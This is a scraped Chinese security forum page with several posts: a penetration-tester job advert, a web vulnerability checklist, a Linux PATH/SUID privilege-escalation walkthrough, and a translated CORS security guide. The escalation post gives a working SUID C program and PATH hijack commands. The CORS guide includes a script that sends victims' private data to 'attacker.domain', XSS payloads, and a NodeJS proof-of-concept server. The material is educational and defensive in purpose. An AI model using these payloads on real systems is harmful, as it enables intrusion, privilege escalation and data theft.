北京云测Testin招聘渗透测试工程师

企业招聘专栏pygain 发表了文章 • 0 个评论 • 120 次浏览 • 2018-10-11 13:18 • 来自相关话题

岗位名称:
渗透测试工程师
 
薪资范围:
15K~30K
岗位职责:
攻防渗透:对公司社区、电商、多个APP、Web网站、服务器等系统进行渗透测试,漏洞挖掘,并协助开发团队修复漏洞;安全研究:根据个人能力与学习兴趣,对Android/iOS、智能硬件设备、智能网联汽车进行最新的漏洞研究与渗透测试分析;
 
任职资格:
3至5年安全公司或互联网公司渗透测试经验。能力强者,不限工作经验;白帽子,过去或现在活跃于“乌云、补天、漏洞盒子、各大企业SRC”等白帽子众测平台,提交过较多高中危漏洞,应聘者请提供白帽子ID;精通APP和Web网站渗透测试技术、攻击方法、手工检测及防御方法,能够挖掘常见OWASP漏洞,包括:SQL注入、XSS、SSRF、文件上传、命令执行、文件包含、CSRF、XXE、Jsonp劫持等;熟悉业务逻辑漏洞挖掘,能够挖掘电商APP、社区APP、Web网站的逻辑漏洞,包括:电商常见逻辑漏洞(加车、下单、结算、支付等),账号体系常见逻辑漏洞(注册、登录、撞库、密码重置、验证码绕过等),水平垂直越权、社区视频刷人气、遍历发回帖、刷积分等;熟悉Android 或iOS应用逆向分析方法,有逆向破解实际例子。熟练使用Burpsuit、SQLMAP、Nmap、Metasploit、AWVS、Nessus、wireshark等工具进行渗透;熟悉Linux操作系统、Mysql、Redis、Nginx、网络等技术知识;熟悉Python语言,能够编写渗透脚本、扩展开源框架、开源产品优先;了解PHP、Java代码安全审计优先;
 
公司介绍:
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者,包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网+相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期,进入快速发展阶段,但我们依旧保持着创业的激情,家长们都是技术出身的型男。

家庭特色:
★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理,开放透明的文化氛围
只有你想不到,没有我们做不到!

小伙伴:
阿里云,360,IBM,友盟,微软,联想,天翼云,触控,机锋,上方网,芒果
 
工作地点:
●乘坐公交车可至酒仙桥商场站下车,途经公交车有(401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线)
乘坐地铁可至14号线东风北桥站,C2东南门出口。
 
简历请投 xiwang@testin.cn
 
  查看全部
岗位名称:
渗透测试工程师
 
薪资范围:
15K~30K
岗位职责:
  1. 攻防渗透:对公司社区、电商、多个APP、Web网站、服务器等系统进行渗透测试,漏洞挖掘,并协助开发团队修复漏洞;
  2. 安全研究:根据个人能力与学习兴趣,对Android/iOS、智能硬件设备、智能网联汽车进行最新的漏洞研究与渗透测试分析;

 
任职资格:
  1. 3至5年安全公司或互联网公司渗透测试经验。能力强者,不限工作经验;
  2. 白帽子,过去或现在活跃于“乌云、补天、漏洞盒子、各大企业SRC”等白帽子众测平台,提交过较多高中危漏洞,应聘者请提供白帽子ID;
  3. 精通APP和Web网站渗透测试技术、攻击方法、手工检测及防御方法,能够挖掘常见OWASP漏洞,包括:SQL注入、XSS、SSRF、文件上传、命令执行、文件包含、CSRF、XXE、Jsonp劫持等;
  4. 熟悉业务逻辑漏洞挖掘,能够挖掘电商APP、社区APP、Web网站的逻辑漏洞,包括:电商常见逻辑漏洞(加车、下单、结算、支付等),账号体系常见逻辑漏洞(注册、登录、撞库、密码重置、验证码绕过等),水平垂直越权、社区视频刷人气、遍历发回帖、刷积分等;
  5. 熟悉Android 或iOS应用逆向分析方法,有逆向破解实际例子。
  6. 熟练使用Burpsuit、SQLMAP、Nmap、Metasploit、AWVS、Nessus、wireshark等工具进行渗透;
  7. 熟悉Linux操作系统、Mysql、Redis、Nginx、网络等技术知识;
  8. 熟悉Python语言,能够编写渗透脚本、扩展开源框架、开源产品优先;
  9. 了解PHP、Java代码安全审计优先;

 
公司介绍:
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者,包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网+相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期,进入快速发展阶段,但我们依旧保持着创业的激情,家长们都是技术出身的型男。

家庭特色:
★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理,开放透明的文化氛围
只有你想不到,没有我们做不到!

小伙伴:
阿里云,360,IBM,友盟,微软,联想,天翼云,触控,机锋,上方网,芒果
 
工作地点:
●乘坐公交车可至酒仙桥商场站下车,途经公交车有(401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线)
乘坐地铁可至14号线东风北桥站,C2东南门出口。
 
简历请投 xiwang@testin.cn
 
 

总结Web常见的漏洞测试条目列表

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 67 次浏览 • 2018-10-07 12:38 • 来自相关话题

1.1 上传功能绕过文件上传检查功能
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试

1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试

1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题 查看全部
1.1 上传功能
绕过文件上传检查功能
上传文件大小和次数限制
1.2 注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
1.3 登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
1.5 忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
1.6 越权测试
请测试所有接口水平越权情况
请测试所有接口垂直越权情况
1.7 XSS测试
反射型XSS
存储型XSS
DOM型XSS
1.8 SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
1.9 CSRF测试

1.10 敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试


1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题

Linux 安全中环境变量安全涉及提权

系统安全ttgo2 发表了文章 • 0 个评论 • 97 次浏览 • 2018-10-07 10:57 • 来自相关话题

最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。
 
1、Linux的加固项介绍:
1.1 查找未授权的SUID/SGID文件
 
安全基线项目名称:
操作系统Linux SUID/SGID文件安全基线要求项
安全基线项说明:
文件系统-查找未授权的SUID/SGID文件
检测操作步骤:用下面的命令查找系统中所有的SUID和SGID程序,执行:
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性
安全基线项目名称:
操作系统Linux超级用户环境变量安全基线要求项 
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤:执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
 
2、利用过程
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。echo $PATH
/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/binstep2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}step3:进行编译,赋权限并执行ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shelltest@localhost ~]$ ./shell 
   PID TTY          TIME CMD
  2407 pts/1    00:00:00 bash
  2460 pts/1    00:00:00 shell
  2461 pts/1    00:00:00 pssstep4: 攻击测试
使用copy命令进行测试提权
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami3、利用说明
这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。 查看全部
最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。
 
1、Linux的加固项介绍:
1.1 查找未授权的SUID/SGID文件
 
安全基线项目名称:
操作系统Linux SUID/SGID文件安全基线要求项
安全基线项说明
文件系统-查找未授权的SUID/SGID文件
检测操作步骤:
用下面的命令查找系统中所有的SUID和SGID程序,执行:
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done
建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性
安全基线项目名称:
操作系统Linux超级用户环境变量安全基线要求项 
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤:
执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录
确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
 
2、利用过程
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。
echo $PATH
/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin
step2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
step3:进行编译,赋权限并执行
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shell
test@localhost ~]$ ./shell 
   PID TTY          TIME CMD
  2407 pts/1    00:00:00 bash
  2460 pts/1    00:00:00 shell
  2461 pts/1    00:00:00 pss
step4: 攻击测试
使用copy命令进行测试提权
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami
3、利用说明
这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。

CORS安全指南

渗透测试zksmile 发表了文章 • 2 个评论 • 194 次浏览 • 2018-09-24 17:47 • 来自相关话题

 原文地址:https://xz.aliyun.com/t/2745                                   
这篇文章翻译自:https://www.bedefended.com/papers/cors-security-guide
作者:Davide Danelon
译者:聂心明
译者博客:https://blog.csdn.net/niexinming
版本:1.0 - 2018年-七月
1. _介绍

这个指南收集关于cors所有的安全知识,从基本的到高级的,从攻击到防御

1.1  _谁应该去读这个文章

这个文章面向所有人:网站管理员,程序员,渗透测试,赏金猎人还有安全专家。
在这个文章种将会找到:
* 同源策略和跨域资源共享(cors)介绍摘要    
* 主要内容,cors漏洞攻击从入门到精通
* cors安全规范
2. 跨域资源共享(cors)

跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。

2.1 同源策略

同源策略在浏览器安全中是一种非常重要的概念,大量的客户端脚本支持同源策略,比如JavaScript。
同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。
这个机制对于现代web应用是非常重要的,因为他们广泛的依赖http cookie来维护用户权限,服务器端会根据cookie来判断客户端是否合法,是否能发送机密信息。
浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
“同源”的定义:

* 域名  
* 协议  
* tcp端口号  
只要以上三个值是相同的,我们就认为这两个资源是同源的。
为了更好的解释这个概念,下面这个表将利用"http://www.example.com/dir/page.html"这个url作为示例,展示在同源策略控制下不同的结果




下面这个图展示的是:如果不启用cors的时候,恶意脚本发出一个请求之后发生的事情




2.2 cors的出现

同源策略对于大型应用有太多的限制,比如有多个子域名的情况
现在已经有大量技术可以放宽同源策略的限制,其中有一种技术就是跨域资源共享(CORS)
CORS是一种机制,这种机制通过在http头部添加字段,通常情况下,web应用A告诉浏览器,自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。
CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含:“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本,而这种方式是被同源策略所阻止的。

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。
下面这个图展示一个简单的CORS请求流:




2.2.1 身份数据

服务器端也会通知客户端是否发送用户的身份数据(cookie或者其他身份数据),如果http头部中的“Access-Control-Allow-Credentials”这个字段被设置“true",那么客户端身份数据就会被发送到目标的服务器上

2.2.2

因为请求会修改数据(通常是GET以外的方法),在发送这些复杂请求之前,浏览器会发送一个”探测“请求
cors预检的目的是为了验证CORS协议是否被理解,预检的OPTION请求包含下面三个字段
“Access-Control-Request-Method”  “Access-Control-Request-Headers”  “Origin”   这些字段会被浏览器自动的发给服务器端。所以,在正常情况下,前端开发人员不需要自己指定此类请求。如果服务器允许发送请求,那么浏览器就会发送所需的HTTP数据包。2.2.3 允许多个源协议建议,可以简单的利用空格来分隔多个源,比如:Access-Control-Allow-Origin: https://example1.com https://example2.com然而,没有浏览器支持这样的语法通常利用通配符去信任所有的子域名也是不行的,比如:Access-Control-Allow-Origin: *.example1.com当前只支持用通配符来匹配域名,比如下面:Access-Control-Allow-Origin: *尽管浏览器可以支持通配符,但是不能同时将凭证标志设置成true。就像下面这种头部配置:Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true这样配置浏览器将会报错,因为在响应具有凭据的请求时,服务器必须指定单个域,所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值2.2.4  其他相关的头部字段还有一些关于CORS的头部字段,其中一个字段是“Vary"根据CORS的实施标准,当”Access-Control-Allow-Origin“是被动态产生的话,就要用”Vary: Origin“去指定。这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头,则在某些情况下,它可能会被某些攻击所利用,如在下一节中描述3. _攻击技术这部分内容是一个给安全测试专家的指导书,来帮助他们测试CORS的安全性3.1 过程三个步骤测试CORS错误配置1. 识别  2. 分析3. 利用3.1.1 识别首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。通常,当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。另外,如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。因此,找到候选人接口之后,就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。比如:GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://target.domainConnection: close然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://target.domain…上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。3.1.2 分析识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。在这个阶段,开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。重要的是验证,哪种类型的控件可以被控制,应用会返回哪种头部字段。因此,测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://attaker.domainConnection: close然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://attacker.domain…在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域,并且可以向这个域中发送用户凭据。3.1.3 利用经过刚才对CORS的分析,我们已经准备好去利用那些配置错误的CORS应用了。有时,当用户凭据这个字段没有开启的时候,可能需要其他的先决条件去利用这个问题。下面的篇幅就详细的讲解一些特殊的利用技术。3.2 有用户凭据的利用从一个攻击者角度来看,看到目标应用的“AccessControl-Allow-Credentials”设置为“true”时是非常开心的。在这种情况下,攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。下面这个表简要说明基于CORS配置的可利用性


3.2.1 泄露用户数据当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:var req = new XMLHttpRequest();req.onload = reqListener;req.open(“get”,”https://vulnerable.domain/api/private-data”,true);req.withCredentials = true;req.send();function reqListener() {location=”//attacker.domain/log?response=”+this.responseText;};用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”GET /api/private-data HTTP/1.1Host: vulnerable.domainOrigin: https://attacker.domain/Cookie: JSESSIONID=<redacted>然后就会收到下面的返回数据HTTP/1.1 200 OKServer: Apache-Coyote/1.1Access-Control-Allow-Origin: https://attacker.domainAccess-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-CredentialsVary: OriginExpires: Thu, 01 Jan 1970 12:00:00 GMTLast-Modified: Wed, 02 May 2018 09:07:07 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0Pragma: no-cacheContent-Type: application/json;charset=ISO-8859-1Date: Wed, 02 May 2018 09:07:07 GMTConnection: closeContent-Length: 149{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"top-secret-string"}因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。


3.3 没有用户凭据的利用方式在这种情况下,目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值,但是不允许传输用户凭证下面这个表简要说明基于CORS配置的可利用性


如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的cookie。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的cookie。3.3.1 绕过基于ip的身份验证实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。3.3.2 客户端缓存中毒这种配置允许攻击者利用其他的漏洞。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。请求:GET /login HTTP/1.1Host: www.target.localOrigin: https://attacker.domain/X-User: <svg/onload=alert(1)>返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://attacker.domain/…Content-Type: text/html…Invalid user: <svg/onload=alert(1)攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','http://www.target.local/login',true);req.setRequestHeader('X-User', '<svg/onload=alert(1)>');req.send();function reqListener() {location='http://www.target.local/login';}如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)


如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“XMLHttpRequest”做这个事情。3.3.3 服务器端缓存中毒另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss下面是攻击的利用条件:* 存在服务器端缓存 * 能够反射“Origin“头部   * 不会检查“Origin”头部中的特殊字符,比如”\r"有了上面的先决条件,James Kettle展示了http头部注入的利用方式,他用这种方式攻击IE/Edge用户(因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符)请求GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7IE处理过后返回报文 HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7上面的请求不能直接拿来利用,因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。如果攻击者能提前发送畸形的“Origin”头部,比如利用代理或者命令行的方式发送,然后服务器就会缓存这样的返回报文并且也会传递给其他人。利用上面的例子,攻击者可以把页面的编码变成”UTF-7",周所周知,这可能会引发xss漏洞   3.4  绕过技术有时,需要信任不同的域或者所有的子域,所以开发者要用正则表达式或者其他的方法去验证有效性。下面的部分列出了一系列的“起源”,可以用来绕过某些验证控制,以验证“起源”头的有效性。下面的例子中的目标域一般指“target.local”。3.4.1  NULL源CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>使用上面的iframe产生一个请求类似于下面这样GET /handlerHost: target.localOrigin: null如果目标应用接收”null"源,那么服务器将返回类似下面的数据报文HTTP/1.1 200 OKAcess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true这种错误配置经常会碰到,所以会很方便的去尝试它。3.4.2 使用目标域名作为子域名如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”,那么就可以在自己控制的服务器上创建一个子域名。用这样的方式,请求一般产生自JavaScript代码,并且请求中的“Origin”会像下面这样Origin: https://target.local.attacker.domain3.4.3  注册一个同名的域名假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/.*\.?target\.local$这样的正则表达式包含一个问题,导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式:


这个?只影响"."这个字符串,因此在“target.local”前面的任何字符串都是被允许的,而不管是否有"."把他们分开。因此,只需要在“origin”末尾包含目标域名就可以绕过上面的限制(这个场景的的目标域名是“target.local”),比如:Origin: https://nottarget.local攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。3.4.4 控制目标的子域名现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/(.*\.)?target\.local$这个允许来自”target.local“的跨域访问并且包含所有的子域名(来自HTTP和HTTPS协议)。在这个场景中,如果攻击者能控制目标的有效的子域名(比如:“subdomain.target.local”),比如接管一个子域名,或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。3.4.5 第三方域名有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话,他们就可以攻击目标了。最有代表性的例子是,Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务,那么来自亚马逊S3存储桶上的请求就会被信任。在这种场景下,攻击者会控制一个S3的存储桶,并在上面放上恶意页面。3.4.6  使用特殊的特性Corban Leo展示了一个比较有趣的研究,他在域名中插入一些特殊的字符来绕过一些限制。这个研究员的特殊字符法只能用在Safari浏览器上。但是,我们进行了深入的分析,显示其中一部分特殊字符串也可以用在其他的浏览器中。这种规避技术所面临的问题是,在发送请求之前,浏览器不总是会去验证域名的有效性。因此,如果使用一些特殊的字符串,那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口。下面是正则表达式的分解:


这个正则表达式阻止前面例子中的攻击,因此前面的绕过技术不会起作用(除非你控制了一给合法的子域名)下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。(使用前面的一种绕过技术)


因为,正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。


注意:当前浏览器只有Safari支持使用上面的域名(带“{”那个字符的),但是如果目标应用的正则表达式能够信任其他的特殊字母,那么就可以使用CORS的错误配置去攻击其他的浏览器啦。下面这个表包含各个浏览器对特殊字符的“兼容性”(注意:仅包含至少一个浏览器允许的特殊字符)


利用前的准备:* 泛解析域名要指向你的服务器   * NodeJS:因为Apache和Nginx(开箱即用)不支持特殊的字符创建一个serve.js 文件   var http = require('http'); var url = require('url');var fs = require('fs');var port = 80http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data);res.end();});} else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end();}}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);在相同的目录下创建cors.html   <html><head><title>CORS PoC</title></head><body onload="cors();"><div align="center"><h2>CORS Proof of Concept</h2><textarea rows="15" cols="70" id="container"></textarea> </div><script> function cors() {var req = new XMLHttpRequest();req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true;req.send();function reqListener() {document.getElementById("container").innerHTML = this.responseText; }} </script>现在启动NodeJS服务并且运行下面的指令:  node serve.js &如果目标应用使用上面的表达式实现对“Origin”过滤的话,那么除了“.” 和“-“之外,“www.target.local”后面的每一个特殊字符都会被信任,因此当Safari浏览器完成的以下产生的有效请求后,攻击者能够从易受攻击的目标中窃取数据。  http://www.target.local{.<your-domain>/cors-poc如果正则表达式支持下划线的话,那么可能其他的浏览器(在上面的表格中列出数据)也可以利用CORS配置错误了,就像下面的例子一样:http://www.target.local_.<your-domain>/cors-poc想要看更多关于绕过的文章可以去:https://www.sxcurity.pro/advanced-cors-techniques 4 _防御技术让我们的看看如何正确配置CORS才能避免让黑客从受害者中偷走敏感数据或者被攻击者利用CORS配置继续攻击 4.1 一般守则下面是处理CORS配置的最佳实践 4.1.1 如果不必要就不要开启CORS首先,要仔细的评估是否开启CORS。如果没有必要,建议完全避免使用它,以免削弱SOP。 4.1.2 定义白名单如果是绝对必要的话,要定义“源”的白名单。我更喜欢白名单,如果可能的话,不要使用正则表达式,因为根据前面的描述,正则表达式更容易出错,导致CORS的配置错误。不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源。 4.1.3 仅仅允许安全的协议有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS 4.1.4 配置“VARY”头部要尽可能的返回"Vary: Origin"这个头部,以避免攻击者利用浏览器缓存 4.1.5 如果可能的话避免使用“CREDENTIALS”由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。要特别关注的实现的标准,如果没有定义参数的话,那么默认值很可能是“true”。要仔细阅读官方文档,如果感觉模糊不清的话,就把值设置成“false". 4.1.6 限制使用的方法通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法,配置它始终是一个好习惯。 